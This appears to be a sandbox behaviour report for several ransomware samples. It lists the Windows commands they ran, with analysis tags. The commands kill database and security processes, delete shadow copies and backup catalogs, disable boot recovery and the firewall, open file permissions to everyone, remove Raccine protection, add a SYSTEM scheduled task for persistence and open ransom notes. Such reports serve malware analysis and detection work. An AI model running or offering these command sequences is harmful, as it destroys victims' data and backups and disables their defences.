C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM dbsnmp.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM ocomm.exe /F2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM thebat.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM infopath.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlwriter.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM xfssvccon.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM steam.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mysqld.exe /F2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mbamtray.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM tbirdconfig.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqbcoreservice.exe /F2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM encsvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM Ntrtscan.exe /F2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM zoolz.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM dbeng50.exe /F2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM isqlplussvc.exe /F2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM tmlisten.exe /F2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM ocautoupds.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM onenote.exe /F2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM msftesql.exe /F2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\netsh.exe"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes2⤵
- Modifies Windows Firewall
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM winword.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM ocssd.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlservr.exe /F2⤵
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM PccNTMon.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM powerpnt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM synctime.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM oracle.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mysqld-nt.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM msaccess.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM visio.exe /F2⤵
-
C:\Windows\SYSTEM32\arp.exe"arp" -a2⤵
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM wordpad.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM outlook.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlagent.exe /F2⤵
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mysqld-opt.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlbrowser.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:*" /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "D:*" /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "Z:*" /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin2⤵
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c rd /s /q D:\\$Recycle.bin2⤵
-
C:\Windows\SYSTEM32\netsh.exe"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes2⤵
- Modifies Windows Firewall
-
C:\Windows\SYSTEM32\netsh.exe"netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes2⤵
- Modifies Windows Firewall
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.txt2⤵
- Opens file in notepad (likely ransom note)
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.7 -n 33⤵
- Runs ping.exe
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Desktop\New folder\Mydoom\Mydoom Ransomwares\5458f18e36de21d20b713f7acd8575fc8a86330c466e1b9dc6f41bc81f3e79fc.exe2⤵
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵
-
C:\Users\Admin\Desktop\New folder\Mydoom\Mydoom Ransomwares\cc3b570fa8f87354f06a20d8873c45087684c217f1b434b3b0048acd96fe3e64.exe"C:\Users\Admin\Desktop\New folder\Mydoom\Mydoom Ransomwares\cc3b570fa8f87354f06a20d8873c45087684c217f1b434b3b0048acd96fe3e64.exe"1⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: RenamesItself
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"2⤵
-
C:\Windows\system32\mode.commode con cp select=12513⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"2⤵
-
C:\Windows\system32\mode.commode con cp select=12513⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta"2⤵
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Info.hta"2⤵
-
C:\Users\Admin\Desktop\New folder\Mydoom\Mydoom Ransomwares\dd286a4d79d0f4c2b906073c7f46680252ca09c1c39b0dc12c92097c56662876.exe"C:\Users\Admin\Desktop\New folder\Mydoom\Mydoom Ransomwares\dd286a4d79d0f4c2b906073c7f46680252ca09c1c39b0dc12c92097c56662876.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\New folder\Mydoom\Mydoom Ransomwares\1a174a556ce8e7a22c66f515ae1591f775bb673e989d5a39334f901edccf5406.exe"C:\Users\Admin\Desktop\New folder\Mydoom\Mydoom Ransomwares\1a174a556ce8e7a22c66f515ae1591f775bb673e989d5a39334f901edccf5406.exe"1⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\taskkill.exe"taskkill" /F /IM RaccineSettings.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\reg.exe"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F2⤵
-
C:\Windows\SysWOW64\reg.exe"reg" delete HKCU\Software\Raccine /F2⤵
- Modifies registry key
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /DELETE /TN "Raccine Rules Updater" /F2⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config Dnscache start= auto2⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config FDResPub start= auto2⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SSDPSRV start= auto2⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin2⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config upnphost start= auto2⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLTELEMETRY start= disabled2⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled2⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLWriter start= disabled2⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SstpSvc start= disabled2⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM firefoxconfig.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM excel.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM thebat64.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" IM thunderbird.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM isqlplussvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM tmlisten.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM onenote.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM ocomm.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM CNTAoSMgr.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM dbsnmp.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM agntsvc.exe /F2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM msftesql.exe /F2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM xfssvccon.exe /F2⤵
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqlwriter.exe /F2⤵
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM infopath.exe /F2⤵
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mysqld.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM winword.exe /F2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mbamtray.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM tbirdconfig.exe /F2⤵
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM powerpnt.exe /F2⤵
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM thebat.exe /F2⤵
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM PccNTMon.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM zoolz.exe /F2⤵
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM dbeng50.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqbcoreservice.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM Ntrtscan.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mysqld-nt.exe /F2⤵
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM steam.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM msaccess.exe /F2⤵
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM wordpad.exe /F2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM ocautoupds.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM visio.exe /F2⤵
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqlservr.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM outlook.exe /F2⤵
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM encsvc.exe /F2⤵
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mysqld-opt.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM ocssd.exe /F2⤵
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM synctime.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM oracle.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqlagent.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqlbrowser.exe /F2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }2⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta2⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”2⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.7 -n 33⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\fsutil.exefsutil file setZeroData offset=0 length=524288 “%s”3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Desktop\New folder\Mydoom\Mydoom Ransomwares\1a174a556ce8e7a22c66f515ae1591f775bb673e989d5a39334f901edccf5406.exe2⤵
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 33⤵
-
C:\Users\Admin\Desktop\New folder\Mydoom\Mydoom Ransomwares\1fb613ee3b0e7f96f5dea029aae31b86340b0724e88f84a76b386af84d1cf95c.exe"C:\Users\Admin\Desktop\New folder\Mydoom\Mydoom Ransomwares\1fb613ee3b0e7f96f5dea029aae31b86340b0724e88f84a76b386af84d1cf95c.exe"1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
-
C:\Users\Admin\Desktop\New folder\Mydoom\Mydoom Ransomwares\84ee7e5c055fd25204ca4969940292b03da9d45b5048cbb7f7ba8528b88a2859.exe"C:\Users\Admin\Desktop\New folder\Mydoom\Mydoom Ransomwares\84ee7e5c055fd25204ca4969940292b03da9d45b5048cbb7f7ba8528b88a2859.exe"1⤵
- Modifies Windows Defender Real-time Protection settings
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Drops desktop.ini file(s)
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- System policy modification
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Users\Admin\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /SC ONLOGON /TN Loki /TR C:\Users\Admin\AppData\Roaming\winlogon.exe /RU SYSTEM /RL HIGHEST /F3⤵
- Creates scheduled task(s)
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4c0pciku\4c0pciku.cmdline"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB145.tmp" "c:\ProgramData\CSCAA6B3847E25B4ED79CC87615F8C8FC22.TMP"3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin DELETE SYSTEMSTATEBACKUP2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete2⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} recoveryenabled no2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C netsh advfirewall set currentprofile state off2⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set currentprofile state off3⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C netsh firewall set opmode mode=disable2⤵
-
C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\New folder\Mydoom\Mydoom Ransomwares\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4288 -s 13683⤵
- Program crash
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\New folder\Mydoom\Mydoom Ransomwares\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3112 -s 13723⤵
- Program crash
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\New folder\Mydoom\Mydoom Ransomwares\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6416 -s 3563⤵
- Program crash
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\New folder\Mydoom\Mydoom Ransomwares\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 14060 -s 13723⤵
- Program crash
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\New folder\Mydoom\Mydoom Ransomwares\info.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Drops startup file
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 3260 -ip 32601⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4344 -ip 43441⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 10596 -ip 105961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6416 -ip 64161⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4288 -ip 42881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 3112 -ip 31121⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 14060 -ip 140601⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 8012 -ip 80121⤵
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\Restore-My-Files.txt1⤵
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\7b6f44331eed437990146a9da574a361 /t 9660 /p 124401⤵
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\56816419fda347be9092f444afd926c2 /t 10700 /p 124761⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x494 0x4a81⤵
-
C:\Windows\System32\msdt.exe"C:\Windows\System32\msdt.exe" -skip TRUE -id NetworkDiagnosticsNetworkAdapter -ep NetworkDiagnosticsPNI1⤵
-
C:\Windows\System32\sdiagnhost.exeC:\Windows\System32\sdiagnhost.exe -Embedding1⤵
-
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" trace diagnose Scenario=NetworkSnapshot Mode=NetTroubleshooter AdapterGuid={AB2418AB-8E27-47CB-B73C-A84AC6D163ED}2⤵
-
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" trace diagnose Scenario=NetworkSnapshot Mode=NetTroubleshooter AdapterGuid={AB2418AB-8E27-47CB-B73C-A84AC6D163ED}2⤵
-
C:\Windows\system32\ipconfig.exe"C:\Windows\system32\ipconfig.exe" /all2⤵
- Gathers network information
-
C:\Windows\system32\ROUTE.EXE"C:\Windows\system32\ROUTE.EXE" print2⤵
-
C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" /f NetworkConfiguration.ddf2⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS1⤵
- Drops file in System32 directory
- Checks processor information in registry
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s WdiServiceHost1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s WdiSystemHost1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman1⤵
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\f62fc979f20042c5beb5e22319cbcec5 /t 9724 /p 24121⤵
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" F:\RESTORE_FILES_INFO.txt1⤵
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\RESTORE_FILES_INFO.txt1⤵
- Opens file in notepad (likely ransom note)
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --default-search-provider=? --out-pipe-name=MSEdgeDefaultb701ded8hdcafh4bf1h83e7h0a298a9afe871⤵
-
